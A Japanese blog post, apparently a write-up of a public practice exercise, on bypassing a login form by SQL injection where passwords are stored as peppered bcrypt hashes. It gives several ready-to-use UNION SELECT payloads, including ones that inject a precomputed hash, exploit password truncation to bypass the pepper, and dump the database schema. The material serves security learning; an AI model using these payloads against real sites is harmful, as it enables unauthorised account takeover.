「パスワードがペッパー付きハッシュ値で保存されているサイトのSQLインジェクションによる認証回避の練習問題」をちょっと考える

# 前置き
https://qiita.com/ockeghem/items/0f3b09a0f413bdd39bd5

まだ問題を見てない方は上にあるのでどうぞ

# 本題
### フォームの確認
多分ツールを使えばわかることなのでソースを確認してログイン画面以外ではprepareメソッドを使ってることを確認しました。

### SQLの解析
・アカウント作成
newuser.phpでアカウントを作成すると
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/557059/43cd7311-fdd7-e697-c634-6bc7f893a988.png)
とシンプルな表示。ですがここで同一メルアドでもう一度作成すると

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/557059/45d6aecc-9759-a273-28e3-3177c5669866.png)
となりテーブル名が判明。多分UNIQUE制約かな？同時にアカウント名をそろえると（メルアドは違うやつにします)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/557059/ff8dba10-d6a4-5620-58ea-b7057c3bd805.png)
ユーザーidのカラム名が判明します。なおパスワードについてはNULLも含め特に制約はないようです

・ログイン画面
テーブルのカラム数やパスワードの位置の推定は元記事で解説されているので割愛。
結果を言えばソルトなしSQLと構造は同じようです。

### インジェクション内容
これまでの解析を基に以下のようにハックします
1. 適当にアカウントを作る。
```
userid:Alice
password:password
email:a@a
```

2. 以下の内容をフォームに突っ込む
```
UserID:`Union Select 1,'admin',(Select password FROM users where userid='alice'),4 --
PassWord:password
```
3.はい
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/557059/31209d48-618e-5f3e-da0d-d091047bd3ac.png)

### ん？
とは言ってもこの手法には二つの問題点があります
1. passwordカラムの名前が解析で判明してない
まぁ多分そうだろうなって思って入れてたまたま成功しただけっていう。でこのあと色々方法がないか調べましたがpasswordカラムの名前を知らない状態でどうにかする方法はどうしてもわかりませんでした

2. 実はユーザー名は肝ではない
ここでフォームに入れる内容に以下に変えると
```
UserID:`Union Select 2,'admin',(Select password FROM users where userid='alice'),4 --
PassWord:password
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/557059/137af773-bf2f-de1b-99b5-656ade88a50a.png)
うまくいって
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/557059/d27b32d9-c4bf-c5e1-9d17-6ee421d35259.png)
ない！？

というわけでどうやらユーザー名ではなく最初の数字、主キーのidでマイページの識別をしてたようですね。1か0かなっていう予想自体は立てられますが仮にどっちも違った場合は見つける手段は自分にはなかったです。

### 結論
そもそも解法自体は二つあるようで、それを考慮すると100点満点中30点といったところですかね。
うん、悔しい


### 追記
https://www.php.net/manual/ja/function.password-hash.php

ドキュメントを読みます
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/557059/6c1d6daf-8893-78ed-d444-cf26a2e475ab.png)
これは結合のやり方次第ではペッパー貫通できるのでは？
というわけで以下のようにやり方を変更

1.パスワードが十分に長いアカウントを作成
```
user:SUPERALICE
password:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```
2.あらかじめハッシュを用意する
```
$2y$10$CY3RIerMjfCOlz88WSWDM.vebw2cA.QYWvmMQz8pzRepmNUlv/6G6
```

3.インジェクション
```
UserID:'UNION SELECT 1,'admin','$2y$10$CY3RIerMjfCOlz88WSWDM.vebw2cA.QYWvmMQz8pzRepmNUlv/6G6',3--
Password:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

4.はい
画像略

そしてこうすればソルトなしSQLインジェクションの解説記事にあったように以下のようなインジェクションも組めます
```
UserID:'UNION SELECT 1,(select group_concat(sql) from sqlite_master),'$2y$10$CY3RIerMjfCOlz88WSWDM.vebw2cA.QYWvmMQz8pzRepmNUlv/6G6',3--
Password:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```
こうすれば主キーのカラム名がわかるので

```
UserID:'UNION SELECT (select id from users where userid = 'admin'),'admin','$2y$10$CY3RIerMjfCOlz88WSWDM.vebw2cA.QYWvmMQz8pzRepmNUlv/6G6',3--
Password:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```
とすることで

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/557059/20ae4216-baf0-5826-fa25-2e7763c9ad21.png)

はい

### 結論2
結局もう一つの解法は思いつきませんでした。なのでいいところ50点ですかね